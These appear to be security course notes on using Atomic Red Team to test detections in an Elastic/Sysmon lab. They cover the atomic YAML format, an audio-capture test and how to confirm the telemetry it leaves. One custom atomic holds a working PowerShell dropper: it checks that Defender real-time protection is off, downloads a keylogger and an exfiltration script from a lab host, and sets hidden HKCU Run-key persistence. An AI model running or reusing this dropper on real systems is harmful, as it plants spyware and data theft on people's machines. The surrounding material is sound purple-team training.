> **Note the irony worth appreciating:** the install cradle is `IEX (IWR '...')` — the *exact* download-and-execute pattern the §3.6/§3.9 detections hunt for. Running a detection-testing tool legitimately produces the same telemetry as an attack. That's not a flaw — it's the whole point of purple teaming, and a reminder that **intent, not the command, is what separates red from blue** (and why context/allow-listing matters in real detections).

***

#### Anatomy of an atomic (YAML)

Each test in a technique's YAML has a consistent shape:

```yaml
- name: <human-readable test name>
  auto_generated_guid: <uuid>
  description: |
    <what the test does>
  supported_platforms:
    - windows
  executor:
    command: |
      <the attack command(s)>
    name: powershell        # or command_prompt, sh, bash
    cleanup_command: |        # optional — undoes the test
      <cleanup>
```

Tests are numbered per technique: `T1123-1`, `T1123-2`, etc. Some declare **prerequisites** (checked/installed with `-GetPrereqs`) and **cleanup commands** (run with `-Cleanup`) so a test can be undone after it fires your detection.

***

#### Running one — audio capture (T1123)

[T1123 (Audio Capture)](https://attack.mitre.org/techniques/T1123/) ships two Windows tests:

* **T1123-1** "device audio capture commandlet": `powershell.exe -Command WindowsAudioDevice-Powershell-Cmdlet`
* **T1123-2** "Registry artefact when application uses microphone": `reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\CapabilityAccessManager\ConsentStore\microphone\NonPackaged\...` (with a matching `reg DELETE` cleanup)

Run both at once:

```powershell
Invoke-AtomicTest T1123-1,2
```

Both actually **errored**: T1123-1 failed because the `WindowsAudioDevice-Powershell-Cmdlet` prerequisite module wasn't installed (`term not recognized`), and T1123-2 failed with `Access is denied` (the HKLM write needs admin).

> **The crucial insight — a "failed" atomic still validates the detection.** For *detection* validation you don't care whether the attack *succeeded* — you care that the **behaviour ran and was logged**. Even though the cmdlet wasn't found, `powershell.exe -Command WindowsAudioDevice-Powershell-Cmdlet` *executed*, which means a process-creation event was generated with that command line. That event is exactly what a detection would key on. **Attack success and detection success are independent** — a blocked or errored attacker still leaves telemetry, and that telemetry is your test signal.

***

#### Confirming the telemetry in ELK

Back in Discover, search the command string across the process events:

```kql
WindowsAudioDevice-Powershell-Cmdlet
```

with `event.dataset: endpoint.events.process` → **2 hits** (one per test run), each showing `process.command_line` = `"...\powershell.exe" -Command WindowsAudioDevice-Powershell-Cmdlet`, `process.parent.name` = `powershell.exe` (Invoke-AtomicTest's own shell), on host `WinDev2305Eval`. The **same query against `windows.sysmon_operational` gives the same result** — both sensors caught it.

That's the loop closed: atomic run → telemetry generated → found in Elastic → a detection on that command line would fire. If it *didn't* show up, you'd know the pipeline (agent, integration, index) was broken — which is the other half of ART's value: it tests your **visibility**, not just your rules.

***

#### Writing your own atomic — the Scenario 3 dropper as `T1059.001-23`

ART is extensible: you can add your own tests to a technique's YAML. The course folds the **Scenario 3 dropper** into `T1059.001.yaml` (PowerShell) as a new test:

```yaml
- name: Run Dropper.ps1 code from Attack Scenario 3
  auto_generated_guid: 999bff6d-dc15-44c9-9f5c-e1051bfc86e2
  description: |
    Automates the execution of the dropper.ps1 code, which downloads files from our ParrotOS machine and adds them into the registry to be executed upon reboot.
  supported_platforms:
    - windows
  executor:
    command: |
      if (Get-MPComputerStatus | where-object {$_.RealTimeProtectionEnabled -like 'False'}) {
          mkdir C:\Windows\Temp\exfil
          Invoke-WebRequest -URI http://192.168.56.137:8000/Keylogger.ps1 -OutFile c:\Windows\temp\Keylogger.ps1;
          Invoke-WebRequest -URI http://192.168.56.137:8000/Exfil.ps1 -OutFile c:\Windows\temp\Exfil.ps1;
          REG ADD "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /V "KeyLogger" /t REG_SZ /F /D "powershell.exe -WindowStyle hidden -file C:\Windows\Temp\Keylogger.ps1";
          REG ADD "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /V "Exfil" /t REG_SZ /F /D "powershell.exe -WindowStyle hidden -file C:\Windows\Temp\Exfil.ps1";
      }
    name: powershell
```

Run it:

```powershell
Invoke-AtomicTest T1059.001-23
```

Output: *"Executing test: T1059.001-23 Run Dropper.ps1 code from Attack Scenario 3"* → creates `C:\Windows\Temp\exfil` → *"operation completed successfully"*. Opening **regedit** at `HKCU\...\CurrentVersion\Run` shows the two new values — `KeyLogger` and `Exfil`, each `powershell.exe -WindowStyle hidden -file C:\Windows\Temp\*.ps1` — sitting right alongside legitimate entries like `OneDrive`.

> **`HKCU` vs `HKLM` — a real tradecraft detail.** The original dropper (§3.9) wrote to **`HKLM`** (machine-wide, needs admin). The atomic uses **`HKCU`** (current user) so it runs **without elevation** — a per-user Run key persists just as well for that user and needs no admin. Both are still **T1547.001**, and — loop closed — the §3.10 registry rule keyed on the path fragment `...\CurrentVersion\Run` with `registry.data.strings: *.ps1`, so it catches the `HKCU` variant too. The custom atomic is now a **repeatable regression test** for that detection: anyone can run `T1059.001-23` and confirm the rule still fires.

***

#### Why this closes the loop — continuous validation & purple teaming

ART is what makes detections *maintainable* rather than write-once:

* **Regression testing** — re-run the atomic after any change (rule edit, integration upgrade, schema change) to confirm the detection still fires. Detections drift silently; atomics catch the drift.
* **Continuous Atomic Testing / Adversary Emulation** — schedule atomics to run regularly, turning validation into a heartbeat rather than a one-off.
* **Purple teaming** — ART is the canonical shared language: **red** runs the atomic, **blue** confirms the alert. The custom-atomic step means even your *bespoke* attacks join that shared, versioned library.

This is the **Validation & Testing** discipline from the note-taking standard, operationalized: a detection isn't "done" when the query works once — it's done when there's a repeatable test that proves it works and will keep proving it.

***

#### MITRE ATT\&CK

ART is **organized by ATT\&CK** — that's its whole index. Every atomic lives under a technique ID, so "test my coverage of technique X" is a direct lookup. Examples touched here:

* [**T1123 Audio Capture**](https://attack.mitre.org/techniques/T1123/) — the demo atomic.
* [**T1059.001 PowerShell**](https://attack.mitre.org/techniques/T1059/001/) — where the custom dropper test was added.

Because the framework and ATT\&CK share the same taxonomy, ART also doubles as a **coverage map**: run the atomics for the techniques in your threat model, see which ones your detections catch, and the gaps are your backlog.

***

#### Key Takeaways (Quick Reference)

* **Atomic Red Team** = a library of small, portable, ATT\&CK-mapped **detection tests** (`atomic-red-team`), run by the **`Invoke-AtomicTest`** framework (`invoke-atomicredteam`). It industrializes the §1.1 validate-your-detection loop.
* Install: `Install-Module -Name invoke-atomicredteam,powershell-yaml -Scope CurrentUser`, or the `IEX (IWR ...install-atomicredteam.ps1...); Install-AtomicRedTeam -getAtomics` cradle (downloads the atomics). Min PS 5.0; `Register-PSRepository -Default` fixes missing-repo errors.
* Atomics are **YAML**: `name`, `auto_generated_guid`, `description`, `supported_platforms`, `executor` (command + optional `cleanup_command`). Numbered `T####-N`. Run with `Invoke-AtomicTest T1123-1,2`.
* **A failed atomic still validates the detection** — you care the *behaviour ran and logged*, not that the attack succeeded. T1123 errored (missing cmdlet / access denied) but still produced 2 process events in `endpoint.events.process` (and Sysmon).
* Confirm in Discover: search the command string → the atomic's telemetry appears → a detection on it would fire. Also tests **visibility**, not just rules.
* **Write custom atomics**: the Scenario 3 dropper was added as `T1059.001-23`; `Invoke-AtomicTest T1059.001-23` reproduces the persistence (writes `HKCU\...\Run` values) — a repeatable regression test for the §3.10 rule.
* **`HKCU` vs `HKLM`** Run keys: HKCU persists per-user with **no admin**; both are T1547.001 and both caught by the §3.10 path-fragment rule.
* The install cradle is itself an `IEX(IWR)` — legitimate tooling produces attack-shaped telemetry; **intent, not the command, separates red from blue**.
* ART = continuous validation, purple teaming, and an ATT\&CK **coverage map**. A detection is "done" only when a repeatable test proves it keeps working.

***

#### Related Topics

```
§1.1 unit testing / §00 Validation & Testing  →  §3.11 ART (the loop, industrialized)
Scenarios 1–3 (hand-built attacks)  →  §3.11 ART (repeatable, shareable, versioned)
§3.9 dropper.ps1 (HKLM)  →  §3.11 custom atomic T1059.001-23 (HKCU) — same technique, no admin
§3.10 registry rule (registry.data.strings: *.ps1)  →  validated by Invoke-AtomicTest T1059.001-23
Attack success ⟂ detection success — a failed/blocked attack still leaves test telemetry
ART = regression testing · continuous validation · purple teaming · ATT&CK coverage map
IEX(IWR) install cradle = attack-shaped telemetry — intent, not command, separates red/blue
```

***

> **Module 3 — complete.** Three attack scenarios (recon → delivery/execution → persistence/collection/exfil), a detection built and confirmed for each stage across network (Zeek), host process/registry (Sysmon), host file (Elastic Defend), and the built-in Endpoint Security rule — then Atomic Red Team to make all of it repeatable. The through-line: **generate the behaviour, confirm the telemetry, write the detection, prove it fires, and keep proving it.**
